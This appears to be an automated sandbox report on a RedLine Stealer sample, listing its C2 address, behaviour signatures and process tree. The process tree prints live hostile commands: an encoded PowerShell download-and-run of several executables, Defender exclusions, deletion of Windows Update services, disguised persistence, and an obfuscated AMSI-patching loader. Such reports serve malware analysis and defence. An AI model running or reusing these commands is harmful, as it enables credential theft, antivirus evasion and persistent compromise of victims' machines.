Analysis

  • max time kernel
    59s
  • max time network
    117s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/01/2023, 07:40

General

  • Target
    c565f71f426a913c738310198a01654ed930dd09.exe
  • Size 361KB
  • Sample230127-jhv2dsbd2v
  • SHA256 b4968767ee9f8c1ae309d7f8a8f4c9cff847a81d46d021608add9de06a4ba965
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • Modifies security service 2 TTPs 5 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Stops running service(s) 3 TTPs
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:376
      • C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe
        "C:\Users\Admin\AppData\Local\Temp\c565f71f426a913c738310198a01654ed930dd09.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4728
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2116
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1248
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1052
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4460
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 1052 -s 236
                6⤵
                • Program crash
                PID:5096
            • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
              "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              PID:2660
            • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
              "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
              5⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Drops file in Drivers directory
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Drops file in Program Files directory
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2340
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4728 -s 300
          3⤵
          • Program crash
          PID:2888
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2180
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1032
        • C:\Windows\System32\sc.exe
          sc stop UsoSvc
          3⤵
          • Launches sc.exe
          PID:4652
        • C:\Windows\System32\sc.exe
          sc stop WaaSMedicSvc
          3⤵
          • Launches sc.exe
          PID:4456
        • C:\Windows\System32\sc.exe
          sc stop wuauserv
          3⤵
          • Launches sc.exe
          PID:2912
        • C:\Windows\System32\sc.exe
          sc stop bits
          3⤵
          • Launches sc.exe
          PID:880
        • C:\Windows\System32\sc.exe
          sc stop dosvc
          3⤵
          • Launches sc.exe
          PID:4468
        • C:\Windows\System32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
          3⤵
            PID:2276
          • C:\Windows\System32\reg.exe
            reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
            3⤵
              PID:1464
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
              3⤵
              • Modifies security service
              PID:4804
            • C:\Windows\System32\reg.exe
              reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
              3⤵
                PID:3660
              • C:\Windows\System32\reg.exe
                reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
                3⤵
                  PID:4244
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }
                2⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4324
              • C:\Windows\System32\dialer.exe
                C:\Windows\System32\dialer.exe
                2⤵
                  PID:5004
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4728 -ip 4728
                1⤵
                  PID:4920
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1052 -ip 1052
                  1⤵
                    PID:1428
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:ZOjfddMtAoDs{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PrtKdVkCwFNwbZ,[Parameter(Position=1)][Type]$CETUzVMWwk)$VSiQNoqgZNW=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+'e'+'f'+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+'e'+'d'+'D'+'e'+''+'l'+''+'e'+'g'+'a'+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+'or'+'y'+'M'+'o'+''+[Char](100)+''+'u'+'le',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+'pe',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+'P'+''+'u'+''+[Char](98)+'l'+[Char](105)+''+'c'+','+'S'+'e'+[Char](97)+'l'+'e'+''+[Char](100)+''+[Char](44)+''+'A'+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+'o'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+'s'+'',[MulticastDelegate]);$VSiQNoqgZNW.DefineConstructor('R'+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+''+'N'+''+[Char](97)+''+[Char](109)+'e'+[Char](44)+''+'H'+''+'i'+'de'+[Char](66)+'y'+[Char](83)+''+[Char](105)+''+[Char](103)+','+[Char](80)+''+'u'+''+[Char](98)+''+'l'+'i'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PrtKdVkCwFNwbZ).SetImplementationFlags(''+'R'+''+'u'+'nt'+[Char](105)+''+[Char](109)+'e'+[Char](44)+''+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+'d');$VSiQNoqgZNW.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+'e',''+[Char](80)+'u'+[Char](98)+''+[Char](108)+'i'+'c'+''+','+'H'+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+','+''+'N'+''+[Char](101)+''+'w'+''+'S'+''+'l'+''+'o'+''+'t'+''+[Char](44)+''+'V'+'i'+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$CETUzVMWwk,$PrtKdVkCwFNwbZ).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+[Char](105)+'m'+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+'e'+''+'d'+'');Write-Output $VSiQNoqgZNW.CreateType();}$MaMQQPeosmYGc=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+'t'+[Char](101)+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+'l')}).GetType(''+'M'+''+'i'+'c'+[Char](114)+''+'o'+''+[Char](115)+''+[Char](111)+'f'+[Char](116)+'.'+[Char](87)+''+[Char](105)+''+[Char](110)+''+[Char](51)+''+'2'+'.'+[Char](85)+'n'+'s'+'a'+[Char](102)+''+[Char](101)+''+[Char](77)+''+'a'+''+[Char](77)+'Q'+'Q'+''+[Char](80)+''+'e'+''+[Char](111)+''+[Char](115)+''+[Char](109)+'Y'+[Char](71)+''+'c'+'');$ZAVFDMeVFJpUiN=$MaMQQPeosmYGc.GetMethod(''+'Z'+'A'+[Char](86)+''+[Char](70)+''+'D'+'M'+'e'+''+'V'+''+[Char](70)+'J'+[Char](112)+'UiN',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+'ic'+[Char](44)+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$NLJjilCwzqyWmSCowUs=ZOjfddMtAoDs @([String])([IntPtr]);$qhmCAFmCimtvXBoUsqcCcY=ZOjfddMtAoDs @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$YVJUQheCBCy=$MaMQQPeosmYGc.GetMethod(''+[Char](71)+''+'e'+''+[Char](116)+''+[Char](77)+''+[Char](111)+'du'+'l'+''+[Char](101)+'H'+[Char](97)+'ndl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$bTZEZPbUDBnJHF=$ZAVFDMeVFJpUiN.Invoke($Null,@([Object]$YVJUQheCBCy,[Object](''+'L'+''+'o'+'a'+[Char](100)+''+'L'+''+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$yXNQHWPusCEVRIacN=$ZAVFDMeVFJpUiN.Invoke($Null,@([Object]$YVJUQheCBCy,[Object](''+[Char](86)+''+[Char](105)+'rt'+[Char](117)+''+[Char](97)+'lPr'+[Char](111)+'t'+[Char](101)+''+'c'+''+'t'+'')));$xqbpDxv=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($bTZEZPbUDBnJHF,$NLJjilCwzqyWmSCowUs).Invoke(''+[Char](97)+''+'m'+''+'s'+''+[Char](105)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'');$aYdlPBMVrTZHTWIMm=$ZAVFDMeVFJpUiN.Invoke($Null,@([Object]$xqbpDxv,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+'f'+[Char](102)+''+[Char](101)+'r')));$MzffLBjpkW=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yXNQHWPusCEVRIacN,$qhmCAFmCimtvXBoUsqcCcY).Invoke($aYdlPBMVrTZHTWIMm,[uint32]8,4,[ref]$MzffLBjpkW);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$aYdlPBMVrTZHTWIMm,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yXNQHWPusCEVRIacN,$qhmCAFmCimtvXBoUsqcCcY).Invoke($aYdlPBMVrTZHTWIMm,[uint32]8,0x20,[ref]$MzffLBjpkW);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+'E'+'').GetValue('d'+[Char](105)+''+[Char](97)+'ler'+'s'+''+'t'+''+'a'+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
                    1⤵
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3016
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:PJpRcLULoADa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WOfkqmVZQbfLbL,[Parameter(Position=1)][Type]$yiSTZlwFuq)$XfrYRbJbArj=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+'l'+'e'+''+[Char](99)+''+[Char](116)+'ed'+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+'a'+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'n'+[Char](77)+''+[Char](101)+''+[Char](109)+''+'o'+''+'r'+''+'y'+''+[Char](77)+'o'+'d'+'u'+[Char](108)+''+[Char](101)+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+'e'+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+'eTy'+'p'+'e',''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'P'+''+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+'a'+'le'+[Char](100)+''+','+''+'A'+''+[Char](110)+''+'s'+''+[Char](105)+''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+','+[Char](65)+''+'u'+'t'+[Char](111)+''+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$XfrYRbJbArj.DefineConstructor('RT'+[Char](83)+'p'+[Char](101)+'c'+[Char](105)+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+'e,'+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+'y'+[Char](83)+''+'i'+''+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$WOfkqmVZQbfLbL).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+'a'+[Char](110)+'a'+'g'+''+[Char](101)+''+'d'+'');$XfrYRbJbArj.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+''+[Char](107)+''+[Char](101)+'',''+'P'+''+[Char](117)+''+'b'+'lic,'+[Char](72)+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'y'+'S'+''+[Char](105)+''+'g'+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+'o'+''+'t'+',V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+[Char](117)+''+'a'+''+[Char](108)+'',$yiSTZlwFuq,$WOfkqmVZQbfLbL).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+'e'+[Char](44)+'M'+'a'+''+[Char](110)+''+'a'+''+[Char](103)+'e'+[Char](100)+'');Write-Output $XfrYRbJbArj.CreateType();}$QQtIeqdLxVLfX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+''+[Char](46)+''+'d'+'l'+'l'+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+'o'+'s'+[Char](111)+''+'f'+''+'t'+'.'+[Char](87)+'in32'+'.'+'U'+[Char](110)+'s'+[Char](97)+''+'f'+''+[Char](101)+''+[Char](81)+''+'Q'+''+'t'+''+[Char](73)+''+'e'+'q'+'d'+'Lx'+[Char](86)+'L'+[Char](102)+'X');$LTfukBKXvdhgZU=$QQtIeqdLxVLfX.GetMethod(''+[Char](76)+''+[Char](84)+'f'+[Char](117)+''+[Char](107)+''+[Char](66)+''+[Char](75)+''+'X'+''+[Char](118)+'d'+[Char](104)+''+'g'+''+[Char](90)+''+[Char](85)+'',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+','+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'c'+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$XaYOYQLdxCcpXIqyHrs=PJpRcLULoADa @([String])([IntPtr]);$GitqwJdmGEclxeNYaInoHD=PJpRcLULoADa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$oSDgcMbtmZH=$QQtIeqdLxVLfX.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+[Char](72)+'a'+[Char](110)+''+[Char](100)+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+'d'+'l'+'l'+'')));$VbiGRehhXWfbTz=$LTfukBKXvdhgZU.Invoke($Null,@([Object]$oSDgcMbtmZH,[Object]('L'+'o'+'a'+[Char](100)+'L'+'i'+''+'b'+''+'r'+''+'a'+'ryA')));$yjSFOEaazNfAuRwba=$LTfukBKXvdhgZU.Invoke($Null,@([Object]$oSDgcMbtmZH,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+'r'+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+[Char](116)+'')));$yPFXyRq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VbiGRehhXWfbTz,$XaYOYQLdxCcpXIqyHrs).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+'.'+'dl'+[Char](108)+'');$vMSXVtqvHfAQfHDZP=$LTfukBKXvdhgZU.Invoke($Null,@([Object]$yPFXyRq,[Object](''+[Char](65)+'m'+[Char](115)+'iS'+[Char](99)+'a'+[Char](110)+'B'+[Char](117)+'f'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$DbRWxwlaXd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yjSFOEaazNfAuRwba,$GitqwJdmGEclxeNYaInoHD).Invoke($vMSXVtqvHfAQfHDZP,[uint32]8,4,[ref]$DbRWxwlaXd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$vMSXVtqvHfAQfHDZP,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($yjSFOEaazNfAuRwba,$GitqwJdmGEclxeNYaInoHD).Invoke($vMSXVtqvHfAQfHDZP,[uint32]8,0x20,[ref]$DbRWxwlaXd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+'W'+[Char](65)+'RE').GetValue(''+[Char](100)+''+[Char](105)+''+[Char](97)+''+'l'+''+'e'+''+[Char](114)+''+'s'+''+'t'+''+[Char](97)+''+[Char](103)+''+'e'+'r')).EntryPoint.Invoke($Null,$Null)
                    1⤵
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4744
                  • C:\Windows\System32\dllhost.exe
                    C:\Windows\System32\dllhost.exe /Processid:{fdfe8a32-aa3b-4907-a842-2259a3fbd298}
                    1⤵
                      PID:2848

                    Network

                          MITRE ATT&CK Enterprise v6

                          Replay Monitor

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                          Downloads

                          powershell.exe.log

